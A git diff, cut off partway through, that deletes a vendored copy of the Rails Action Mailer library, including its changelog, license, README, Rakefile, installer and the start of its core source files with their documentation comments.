-*2.3.11 (February 9, 2011)*
-*2.3.10 (October 15, 2010)*
-*2.3.9 (September 4, 2010)*
-*2.3.8 (May 24, 2010)*
-*2.3.7 (May 24, 2010)*
-
-* Version bump.
-
-
-*2.3.6 (May 23, 2010)*
-
-* Upgrade TMail from 1.2.3 to 1.2.7.  [Mikel Lindsaar]
-
-
-*2.3.5 (November 25, 2009)*
-
-* Minor Bug Fixes and deprecation warnings
-
-
-*2.3.4 (September 4, 2009)*
-
-* Minor bug fixes.
-
-
-*2.3.3 (July 12, 2009)*
-
-* No changes, just a version bump.
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]
-
-* Fixed RFC-2045 quoted-printable bug #1421 [squadette]
-
-* Fixed that no body charset would be set when there are attachments present #740 [Paweł Kondzior]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Turn on STARTTLS if it is available in Net::SMTP (added in Ruby 1.8.7) and the SMTP server supports it (This is required for Gmail's SMTP server) #1336 [Grant Hollingworth]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Add layout functionality to mailers [Pratik Naik]
-
-  Mailer layouts behaves just like controller layouts, except layout names need to
-  have '_mailer' postfix for them to be automatically picked up.
-
-
-*2.1.0 (May 31st, 2008)*
-
-* Fixed that a return-path header would be ignored #7572 [joost]
-
-* Less verbose mail logging: just recipients for :info log level; the whole email for :debug only.  #8000 [iaddict, Tarmo Tänav]
-
-* Updated TMail to version 1.2.1 [Mikel Lindsaar]
-
-* Fixed that you don't have to call super in ActionMailer::TestCase#setup #10406 [jamesgolick]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Included in Rails 2.0.2
-
-
-*2.0.1* (December 7th, 2007)
-
-* Update ActionMailer so it treats ActionView the same way that ActionController does.  Closes #10244 [Rick Olson]
-
-  * Pass the template_root as an array as ActionView's view_path
-  * Request templates with the "#{mailer_name}/#{action}" as opposed to just "#{action}"
-
-* Fixed that partials would be broken when using text.plain.erb as the extension #10130 [java]
-
-* Update README to use new smtp settings configuration API. Closes #10060 [psq]
-
-* Allow ActionMailer subclasses to individually set their delivery method (so two subclasses can have different delivery methods) #10033 [Zach Dennis]
-
-* Update TMail to v1.1.0.  Use an updated version of TMail if available.  [Mikel Lindsaar]
-
-* Introduce a new base test class for testing Mailers.  ActionMailer::TestCase [Michael Koziarski]
-
-* Fix silent failure of rxml templates.  #9879 [jstewart]
-
-* Fix attachment decoding when using the TMail C extension.  #7861 [orangechicken]
-
-* Increase mail delivery test coverage.  #8692 [Kamal Fariz Mahyuddin]
-
-* Register alternative template engines using ActionMailer::Base.register_template_extension('haml').  #7534 [cwd, Josh Peek]
-
-* Only load ActionController::UrlWriter if ActionController is present [Rick Olson]
-
-* Make sure parsed emails recognized attachments nested inside multipart parts. #6714 [Jamis Buck]
-
-* Allow mailer actions named send by using __send__ internally.  #6467 [iGEL]
-
-* Add assert_emails and assert_no_emails to test the number of emails delivered.  #6479 [Jonathan Viney]
-    # Assert total number of emails delivered:
-    assert_emails 0
-    ContactMailer.deliver_contact
-    assert_emails 1
-
-    # Assert number of emails delivered within a block:
-    assert_emails 1 do
-      post :signup, :name => 'Jonathan'
-    end
-
-
-*1.3.3* (March 12th, 2007)
-
-* Depend on Action Pack 1.13.3
-
-
-*1.3.2* (February 5th, 2007)
-
-* Deprecate server_settings renaming it to smtp_settings,  add sendmail_settings to allow you to override the arguments to and location of the sendmail executable. [Michael Koziarski]
-
-
-*1.3.1* (January 16th, 2007)
-
-* Depend on Action Pack 1.13.1
-
-
-*1.3.0* (January 16th, 2007)
-
-* Make mime version default to 1.0. closes #2323 [ror@andreas-s.net]
-
-* Make sure quoted-printable text is decoded correctly when only portions of the text are encoded. closes #3154. [jon@siliconcircus.com]
-
-* Make sure DOS newlines in quoted-printable text are normalized to unix newlines before unquoting. closes #4166 and #4452. [Jamis Buck]
-
-* Fixed that iconv decoding should catch InvalidEncoding #3153 [jon@siliconcircus.com]
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Automatically included ActionController::UrlWriter, such that URL generation can happen within ActionMailer controllers. [David Heinemeier Hansson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Mailer template root applies to a class and its subclasses rather than acting globally. #5555 [somekool@gmail.com]
-
-* Resolve action naming collision. #5520 [ssinghi@kreeti.com]
-
-* ActionMailer::Base documentation rewrite. Closes #4991 [Kevin Clark, Marcel Molina Jr.]
-
-* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.] 
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Correct spurious documentation example code which results in a SyntaxError. [Marcel Molina Jr.]
-
-
-*1.2.1* (April 6th, 2006)
-
-* Be part of Rails 1.1.1
-
-
-*1.2.0* (March 27th, 2006)
-
-* Nil charset caused subject line to be improperly quoted in implicitly multipart messages #2662 [ehalvorsen+rails@runbox.com]
-
-* Parse content-type apart before using it so that sub-parts of the header can be set correctly #2918 [Jamis Buck]
-
-* Make custom headers work in subparts #4034 [elan@bluemandrill.com]
-
-* Template paths with dot chars in them no longer mess up implicit template selection for multipart messages #3332 [Chad Fowler]
-
-* Make sure anything with content-disposition of "attachment" is passed to the attachment presenter when parsing an email body [Jamis Buck]
-
-* Make sure TMail#attachments includes anything with content-disposition of "attachment", regardless of content-type [Jamis Buck]
-
-
-*1.1.5* (December 13th, 2005)
-
-* Become part of Rails 1.0
-
-
-*1.1.4* (December 7th, 2005)
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Stricter matching for implicitly multipart filenames excludes files ending in unsupported extensions (such as foo.rhtml.bak) and without a two-part content type (such as foo.text.rhtml or foo.text.really.plain.rhtml).  #2398 [Dave Burt <dave@burt.id.au>, Jeremy Kemper]
-
-
-*1.1.3* (November 7th, 2005)
-
-* Allow Mailers to have custom initialize methods that set default instance variables for all mail actions #2563 [mrj@bigpond.net.au]
-
-
-*1.1.2* (October 26th, 2005)
-
-* Upgraded to Action Pack 1.10.2
-
-
-*1.1.1* (October 19th, 2005)
-
-* Upgraded to Action Pack 1.10.1
-
-
-*1.1.0* (October 16th, 2005)
-
-* Update and extend documentation (rdoc)
-
-* Minero Aoki made TMail available to Rails/ActionMailer under the MIT license (instead of LGPL) [RubyConf '05]
-
-* Austin Ziegler made Text::Simple available to Rails/ActionMailer under a MIT-like licens [See rails ML, subject "Text::Format Licence Exception" on Oct 15, 2005]
-
-* Fix vendor require paths to prevent files being required twice
-
-* Don't add charset to content-type header for a part that contains subparts (for AOL compatibility) #2013 [John Long]
-
-* Preserve underscores when unquoting message bodies #1930
-
-* Encode multibyte characters correctly #1894
-
-* Multipart messages specify a MIME-Version header automatically #2003 [John Long]
-
-* Add a unified render method to ActionMailer (delegates to ActionView::Base#render)
-
-* Move mailer initialization to a separate (overridable) method, so that subclasses may alter the various defaults #1727
-
-* Look at content-location header (if available) to determine filename of attachments #1670
-
-* ActionMailer::Base.deliver(email) had been accidentally removed, but was documented in the Rails book #1849
-
-* Fix problem with sendmail delivery where headers should be delimited by \n characters instead of \r\n, which confuses some mail readers #1742 [Kent Sibilev]
-
-
-*1.0.1* (11 July, 2005)
-
-* Bind to Action Pack 1.9.1
-
-
-*1.0.0* (6 July, 2005)
-
-* Avoid adding nil header values #1392
-
-* Better multipart support with implicit multipart/alternative and sorting of subparts [John Long]
-
-* Allow for nested parts in multipart mails #1570 [Flurin Egger]
-
-* Normalize line endings in outgoing mail bodies to "\n" #1536 [John Long]
-
-* Allow template to be explicitly specified #1448 [tuxie@dekadance.se]
-
-* Allow specific "multipart/xxx" content-type to be set on multipart messages #1412 [Flurin Egger]
-
-* Unquoted @ characters in headers are now accepted in spite of RFC 822 #1206
-
-* Helper support (borrowed from ActionPack)
-
-* Silently ignore Errno::EINVAL errors when converting text.
-
-* Don't cause an error when parsing an encoded attachment name #1340 [lon@speedymac.com]
-
-* Nested multipart message parts are correctly processed in TMail::Mail#body
-
-* BCC headers are removed when sending via SMTP #1402
-
-* Added 'content_type' accessor, to allow content type to be set on a per-message basis. content_type defaults to "text/plain".
-
-* Silently ignore Iconv::IllegalSequence errors when converting text #1341 [lon@speedymac.com]
-
-* Support attachments and multipart messages.
-
-* Added new accessors for the various mail properties.
-
-* Fix to only perform the charset conversion if a 'from' and a 'to' charset are given (make no assumptions about what the charset was) #1276 [Jamis Buck]
-
-* Fix attachments and content-type problems #1276 [Jamis Buck]
-
-* Fixed the TMail#body method to look at the content-transfer-encoding header and unquote the body according to the rules it specifies #1265 [Jamis Buck]
-
-* Added unquoting even if the iconv lib can't be loaded--in that case, only the charset conversion is skipped #1265 [Jamis Buck]
-
-* Added automatic decoding of base64 bodies #1214 [Jamis Buck]
-
-* Added that delivery errors are caught in a way so the mail is still returned whether the delivery was successful or not
-
-* Fixed that email address like "Jamis Buck, M.D." <wild.medicine@example.net> would cause the quoter to generate emails resulting in "bad address" errors from the mail server #1220 [Jamis Buck]
-
-
-*0.9.1* (20th April, 2005)
-
-* Depend on Action Pack 1.8.1
-
-
-*0.9.0* (19th April, 2005)
-
-* Added that deliver_* will now return the email that was sent
-
-* Added that quoting to UTF-8 only happens if the characters used are in that range #955 [Jamis Buck] 
-
-* Fixed quoting for all address headers, not just to #955 [Jamis Buck]
-
-* Fixed unquoting of emails that doesn't have an explicit charset #1036 [wolfgang@stufenlos.net]
-
-
-*0.8.1* (27th March, 2005)
-
-* Fixed that if charset was found that the end of a mime part declaration TMail would throw an error #919 [lon@speedymac.com]
-
-* Fixed that TMail::Unquoter would fail to recognize quoting method if it was in lowercase #919 [lon@speedymac.com]
-
-* Fixed that TMail::Encoder would fail when it attempts to parse e-mail addresses which are encoded using something other than the messages encoding method #919 [lon@speedymac.com]
-
-* Added rescue for missing iconv library and throws warnings if subject/body is called on a TMail object without it instead
-
-
-*0.8.0* (22th March, 2005)
-
-* Added framework support for processing incoming emails with an Action Mailer class. See example in README.
-
-
-*0.7.1* (7th March, 2005)
-
-* Bind to newest Action Pack (1.5.1)
-
-
-*0.7.0* (24th February, 2005)
-
-* Added support for charsets for both subject and body. The default charset is now UTF-8 #673 [Jamis Buck]. Examples:
-
-    def iso_charset(recipient)
-      @recipients = recipient
-      @subject    = "testing iso charsets"
-      @from       = "system@loudthinking.com"
-      @body       = "Nothing to see here."
-      @charset    = "iso-8859-1"
-    end
-    
-    def unencoded_subject(recipient)
-      @recipients = recipient
-      @subject    = "testing unencoded subject"
-      @from       = "system@loudthinking.com"
-      @body       = "Nothing to see here."
-      @encode_subject = false
-      @charset    = "iso-8859-1"
-    end
-    
-
-*0.6.1* (January 18th, 2005)
-
-* Fixed sending of emails to use Tmail#from not the deprecated Tmail#from_address
-
-
-*0.6* (January 17th, 2005)
-
-* Fixed that bcc and cc should be settable through @bcc and @cc -- not just @headers["Bcc"] and @headers["Cc"] #453 [Eric Hodel]
-
-* Fixed Action Mailer to be "warnings safe" so you can run with ruby -w and not get framework warnings #453 [Eric Hodel]
-
-
-*0.5*
-
-* Added access to custom headers, like cc, bcc, and reply-to #268 [Andreas Schwarz]. Example:
-
-    def post_notification(recipients, post)
-      @recipients          = recipients
-      @from                = post.author.email_address_with_name
-      @headers["bcc"]      = SYSTEM_ADMINISTRATOR_EMAIL
-      @headers["reply-to"] = "notifications@example.com"
-      @subject             = "[#{post.account.name} #{post.title}]"
-      @body["post"]        = post
-    end
-
-*0.4* (5)
-
-* Consolidated the server configuration options into Base#server_settings= and expanded that with controls for authentication and more [Marten]
-  NOTE: This is an API change that could potentially break your application if you used the old application form. Please do change!
-
-* Added Base#deliveries as an accessor for an array of emails sent out through that ActionMailer class when using the :test delivery option. [Jeremy Kemper]
-
-* Added Base#perform_deliveries= which can be set to false to turn off the actual delivery of the email through smtp or sendmail.
-  This is especially useful for functional testing that shouldn't send off real emails, but still trigger delivery_* methods.
-
-* Added option to specify delivery method with Base#delivery_method=. Default is :smtp and :sendmail is currently the only other option.
-  Sendmail is assumed to be present at "/usr/sbin/sendmail" if that option is used. [Kent Sibilev]
-
-* Dropped "include TMail" as it added to much baggage into the default namespace (like Version) [Chad Fowler]
-
-
-*0.3*
-
-* First release
diff --git a/vendor/rails/actionmailer/MIT-LICENSE b/vendor/rails/actionmailer/MIT-LICENSE
deleted file mode 100644
index a345a241..00000000
--- a/vendor/rails/actionmailer/MIT-LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-Copyright (c) 2004-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
diff --git a/vendor/rails/actionmailer/README b/vendor/rails/actionmailer/README
deleted file mode 100644
index 0e16ea6e..00000000
--- a/vendor/rails/actionmailer/README
+++ /dev/null
@@ -1,149 +0,0 @@
-= Action Mailer -- Easy email delivery and testing
-
-Action Mailer is a framework for designing email-service layers. These layers
-are used to consolidate code for sending out forgotten passwords, welcome
-wishes on signup, invoices for billing, and any other use case that requires
-a written notification to either a person or another system.
-
-Additionally, an Action Mailer class can be used to process incoming email,
-such as allowing a weblog to accept new posts from an email (which could even
-have been sent from a phone).
-
-== Sending emails
-
-The framework works by setting up all the email details, except the body,
-in methods on the service layer. Subject, recipients, sender, and timestamp
-are all set up this way. An example of such a method:
-
-  def signed_up(recipient)
-    recipients recipient
-    subject    "[Signed up] Welcome #{recipient}"
-    from       "system@loudthinking.com"
-    body       :recipient => recipient
-  end
-
-The body of the email is created by using an Action View template (regular
-ERb) that has the content of the body hash parameter available as instance variables. 
-So the corresponding body template for the method above could look like this:
-
-  Hello there, 
-
-  Mr. <%= @recipient %>
-  
-And if the recipient was given as "david@loudthinking.com", the email 
-generated would look like this:
-
-  Date: Sun, 12 Dec 2004 00:00:00 +0100
-  From: system@loudthinking.com
-  To: david@loudthinking.com
-  Subject: [Signed up] Welcome david@loudthinking.com
-
-  Hello there, 
-
-  Mr. david@loudthinking.com
-
-You never actually call the instance methods like signed_up directly. Instead,
-you call class methods like deliver_* and create_* that are automatically
-created for each instance method. So if the signed_up method sat on
-ApplicationMailer, it would look like this:
-
-  ApplicationMailer.create_signed_up("david@loudthinking.com")  # => tmail object for testing
-  ApplicationMailer.deliver_signed_up("david@loudthinking.com") # sends the email
-  ApplicationMailer.new.signed_up("david@loudthinking.com")     # won't work!
-
-== Receiving emails
-
-To receive emails, you need to implement a public instance method called receive that takes a
-tmail object as its single parameter. The Action Mailer framework has a corresponding class method, 
-which is also called receive, that accepts a raw, unprocessed email as a string, which it then turns
-into the tmail object and calls the receive instance method.
-
-Example:
-
-  class Mailman < ActionMailer::Base
-    def receive(email)
-      page = Page.find_by_address(email.to.first)
-      page.emails.create(
-        :subject => email.subject, :body => email.body
-      )
-
-      if email.has_attachments?
-        for attachment in email.attachments
-          page.attachments.create({ 
-            :file => attachment, :description => email.subject
-          })
-        end
-      end
-    end
-  end
-
-This Mailman can be the target for Postfix or other MTAs. In Rails, you would use the runner in the 
-trivial case like this:
-
-  ./script/runner 'Mailman.receive(STDIN.read)'
-
-However, invoking Rails in the runner for each mail to be received is very resource intensive.  A single 
-instance of Rails should be run within a daemon if it is going to be utilized to process more than just 
-a limited number of email.
-
-== Configuration
-
-The Base class has the full list of configuration options. Here's an example:
-
-  ActionMailer::Base.smtp_settings = {
-    :address        => 'smtp.yourserver.com', # default: localhost
-    :port           => '25',                  # default: 25
-    :user_name      => 'user',
-    :password       => 'pass',
-    :authentication => :plain                 # :plain, :login or :cram_md5
-  }
-
-== Dependencies
-
-Action Mailer requires that the Action Pack is either available to be required immediately
-or is accessible as a GEM.
-
-
-== Bundled software
-
-* tmail 0.10.8 by Minero Aoki released under LGPL
-  Read more on http://i.loveruby.net/en/prog/tmail.html
-
-* Text::Format 0.63 by Austin Ziegler released under OpenSource
-  Read more on http://www.halostatue.ca/ruby/Text__Format.html
-
-
-== Download
-
-The latest version of Action Mailer can be found at
-
-* http://rubyforge.org/project/showfiles.php?group_id=361
-
-Documentation can be found at 
-
-* http://actionmailer.rubyonrails.org
-
-
-== Installation
-
-You can install Action Mailer with the following command.
-
-  % [sudo] ruby install.rb
-
-from its distribution directory.
-
-
-== License
-
-Action Mailer is released under the MIT license.
-
-
-== Support
-
-The Action Mailer homepage is http://www.rubyonrails.org. You can find
-the Action Mailer RubyForge page at http://rubyforge.org/projects/actionmailer.
-And as Jim from Rake says:
-
-   Feel free to submit commits or feature requests.  If you send a patch,
-   remember to update the corresponding unit tests.  If fact, I prefer
-   new feature to be submitted in the form of new unit tests.
diff --git a/vendor/rails/actionmailer/Rakefile b/vendor/rails/actionmailer/Rakefile
deleted file mode 100644
index 7e0a0239..00000000
--- a/vendor/rails/actionmailer/Rakefile
+++ /dev/null
@@ -1,97 +0,0 @@
-require 'rubygems'
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rake/packagetask'
-require 'rubygems/package_task'
-require File.join(File.dirname(__FILE__), 'lib', 'action_mailer', 'version')
-
-PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME      = 'actionmailer'
-PKG_VERSION   = ActionMailer::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "actionmailer"
-RUBY_FORGE_USER    = "webster132"
-
-desc "Default Task"
-task :default => [ :test ]
-
-# Run the unit tests
-Rake::TestTask.new { |t|
-  t.libs << "test"
-  t.pattern = 'test/*_test.rb'
-  t.verbose = true
-  t.warning = false
-}
-
-
-# Generate the RDoc documentation
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Action Mailer -- Easy email delivery and testing"
-  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'CHANGELOG')
-  rdoc.rdoc_files.include('lib/action_mailer.rb')
-  rdoc.rdoc_files.include('lib/action_mailer/*.rb')
-}
-
-
-# Create compressed packages
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = PKG_NAME
-  s.summary = "Service layer for easy email delivery and testing."
-  s.description = %q{Makes it trivial to test and deliver emails sent from a single service layer.}
-  s.version = PKG_VERSION
-
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.rubyforge_project = "actionmailer"
-  s.homepage = "http://www.rubyonrails.org"
-
-  s.add_dependency('actionpack', '= 2.3.14' + PKG_BUILD)
-
-  s.requirements << 'none'
-  s.require_path = 'lib'
-
-  s.files = [ "Rakefile", "install.rb", "README", "CHANGELOG", "MIT-LICENSE" ]
-  s.files = s.files + Dir.glob( "lib/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  s.files = s.files + Dir.glob( "test/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-end
-  
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-  p.need_tar = true
-  p.need_zip = true
-end
-
-
-desc "Publish the API documentation"
-task :pgem => [:package] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the API documentation"
-task :pdoc => [:rdoc] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/am", "doc").upload
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  require 'rubyforge'
-  require 'rake/contrib/rubyforgepublisher'
-
-  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
-
-  rubyforge = RubyForge.new
-  rubyforge.login
-  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
-end
diff --git a/vendor/rails/actionmailer/install.rb b/vendor/rails/actionmailer/install.rb
deleted file mode 100644
index 8d7c140c..00000000
--- a/vendor/rails/actionmailer/install.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rbconfig'
-require 'find'
-require 'ftools'
-
-include Config
-
-# this was adapted from rdoc's install.rb by way of Log4r
-
-$sitedir = CONFIG["sitelibdir"]
-unless $sitedir
-  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
-  $libdir = File.join(CONFIG["libdir"], "ruby", version)
-  $sitedir = $:.find {|x| x =~ /site_ruby/ }
-  if !$sitedir
-    $sitedir = File.join($libdir, "site_ruby")
-  elsif $sitedir !~ Regexp.quote(version)
-    $sitedir = File.join($sitedir, version)
-  end
-end
-
-# the actual gruntwork
-Dir.chdir("lib")
-
-Find.find("action_mailer", "action_mailer.rb") { |f|
-  if f[-3..-1] == ".rb"
-    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
-  else
-    File::makedirs(File.join($sitedir, *f.split(/\//)))
-  end
-}
diff --git a/vendor/rails/actionmailer/lib/action_mailer.rb b/vendor/rails/actionmailer/lib/action_mailer.rb
deleted file mode 100644
index e0440b8a..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-begin
-  require 'action_controller'
-rescue LoadError
-  actionpack_path = "#{File.dirname(__FILE__)}/../../actionpack/lib"
-  if File.directory?(actionpack_path)
-    $:.unshift actionpack_path
-    require 'action_controller'
-  end
-end
-
-require 'action_view'
-
-module ActionMailer
-  def self.load_all!
-    [Base, Part, ::Text::Format, ::Net::SMTP]
-  end
-
-  autoload :AdvAttrAccessor, 'action_mailer/adv_attr_accessor'
-  autoload :Base, 'action_mailer/base'
-  autoload :Helpers, 'action_mailer/helpers'
-  autoload :Part, 'action_mailer/part'
-  autoload :PartContainer, 'action_mailer/part_container'
-  autoload :Quoting, 'action_mailer/quoting'
-  autoload :TestCase, 'action_mailer/test_case'
-  autoload :TestHelper, 'action_mailer/test_helper'
-  autoload :Utils, 'action_mailer/utils'
-end
-
-module Text
-  autoload :Format, 'action_mailer/vendor/text_format'
-end
-
-module Net
-  autoload :SMTP, 'net/smtp'
-end
-
-autoload :MailHelper, 'action_mailer/mail_helper'
-
-require 'action_mailer/vendor/tmail'
diff --git a/vendor/rails/actionmailer/lib/action_mailer/adv_attr_accessor.rb b/vendor/rails/actionmailer/lib/action_mailer/adv_attr_accessor.rb
deleted file mode 100644
index e77029af..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/adv_attr_accessor.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActionMailer
-  module AdvAttrAccessor #:nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    module ClassMethods #:nodoc:
-      def adv_attr_accessor(*names)
-        names.each do |name|
-          ivar = "@#{name}"
-
-          define_method("#{name}=") do |value|
-            instance_variable_set(ivar, value)
-          end
-
-          define_method(name) do |*parameters|
-            raise ArgumentError, "expected 0 or 1 parameters" unless parameters.length <= 1
-            if parameters.empty?
-              if instance_variable_names.include?(ivar)
-                instance_variable_get(ivar)
-              end
-            else
-              instance_variable_set(ivar, parameters.first)
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/base.rb b/vendor/rails/actionmailer/lib/action_mailer/base.rb
deleted file mode 100644
index 3e4e7d1f..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/base.rb
+++ /dev/null
@@ -1,739 +0,0 @@
-module ActionMailer #:nodoc:
-  # Action Mailer allows you to send email from your application using a mailer model and views.
-  #
-  #
-  # = Mailer Models
-  #
-  # To use Action Mailer, you need to create a mailer model.
-  #
-  #   $ script/generate mailer Notifier
-  #
-  # The generated model inherits from ActionMailer::Base. Emails are defined by creating methods within the model which are then
-  # used to set variables to be used in the mail template, to change options on the mail, or
-  # to add attachments.
-  #
-  # Examples:
-  #
-  #  class Notifier < ActionMailer::Base
-  #    def signup_notification(recipient)
-  #      recipients recipient.email_address_with_name
-  #      bcc        ["bcc@example.com", "Order Watcher <watcher@example.com>"]
-  #      from       "system@example.com"
-  #      subject    "New account information"
-  #      body       :account => recipient
-  #    end
-  #  end
-  #
-  # Mailer methods have the following configuration methods available.
-  #
-  # * <tt>recipients</tt> - Takes one or more email addresses. These addresses are where your email will be delivered to. Sets the <tt>To:</tt> header.
-  # * <tt>subject</tt> - The subject of your email. Sets the <tt>Subject:</tt> header.
-  # * <tt>from</tt> - Who the email you are sending is from. Sets the <tt>From:</tt> header.
-  # * <tt>cc</tt> - Takes one or more email addresses. These addresses will receive a carbon copy of your email. Sets the <tt>Cc:</tt> header.
-  # * <tt>bcc</tt> - Takes one or more email addresses. These addresses will receive a blind carbon copy of your email. Sets the <tt>Bcc:</tt> header.
-  # * <tt>reply_to</tt> - Takes one or more email addresses. These addresses will be listed as the default recipients when replying to your email. Sets the <tt>Reply-To:</tt> header.
-  # * <tt>sent_on</tt> - The date on which the message was sent. If not set, the header wil be set by the delivery agent.
-  # * <tt>content_type</tt> - Specify the content type of the message. Defaults to <tt>text/plain</tt>.
-  # * <tt>headers</tt> - Specify additional headers to be set for the message, e.g. <tt>headers 'X-Mail-Count' => 107370</tt>.
-  #
-  # When a <tt>headers 'return-path'</tt> is specified, that value will be used as the 'envelope from'
-  # address. Setting this is useful when you want delivery notifications sent to a different address than
-  # the one in <tt>from</tt>.
-  #
-  # The <tt>body</tt> method has special behavior. It takes a hash which generates an instance variable
-  # named after each key in the hash containing the value that that key points to.
-  #
-  # So, for example, <tt>body :account => recipient</tt> would result
-  # in an instance variable <tt>@account</tt> with the value of <tt>recipient</tt> being accessible in the
-  # view.
-  #
-  #
-  # = Mailer views
-  #
-  # Like Action Controller, each mailer class has a corresponding view directory
-  # in which each method of the class looks for a template with its name.
-  # To define a template to be used with a mailing, create an <tt>.erb</tt> file with the same name as the method
-  # in your mailer model. For example, in the mailer defined above, the template at
-  # <tt>app/views/notifier/signup_notification.erb</tt> would be used to generate the email.
-  #
-  # Variables defined in the model are accessible as instance variables in the view.
-  #
-  # Emails by default are sent in plain text, so a sample view for our model example might look like this:
-  #
-  #   Hi <%= @account.name %>,
-  #   Thanks for joining our service! Please check back often.
-  #
-  # You can even use Action Pack helpers in these views. For example:
-  #
-  #   You got a new note!
-  #   <%= truncate(note.body, 25) %>
-  #
-  #
-  # = Generating URLs
-  #
-  # URLs can be generated in mailer views using <tt>url_for</tt> or named routes.
-  # Unlike controllers from Action Pack, the mailer instance doesn't have any context about the incoming request,
-  # so you'll need to provide all of the details needed to generate a URL.
-  #
-  # When using <tt>url_for</tt> you'll need to provide the <tt>:host</tt>, <tt>:controller</tt>, and <tt>:action</tt>:
-  #
-  #   <%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
-  #
-  # When using named routes you only need to supply the <tt>:host</tt>:
-  #
-  #   <%= users_url(:host => "example.com") %>
-  #
-  # You will want to avoid using the <tt>name_of_route_path</tt> form of named routes because it doesn't make sense to
-  # generate relative URLs in email messages.
-  #
-  # It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option in
-  # the <tt>ActionMailer::Base.default_url_options</tt> hash as follows:
-  #
-  #   ActionMailer::Base.default_url_options[:host] = "example.com"
-  #
-  # This can also be set as a configuration option in <tt>config/environment.rb</tt>:
-  #
-  #   config.action_mailer.default_url_options = { :host => "example.com" }
-  #
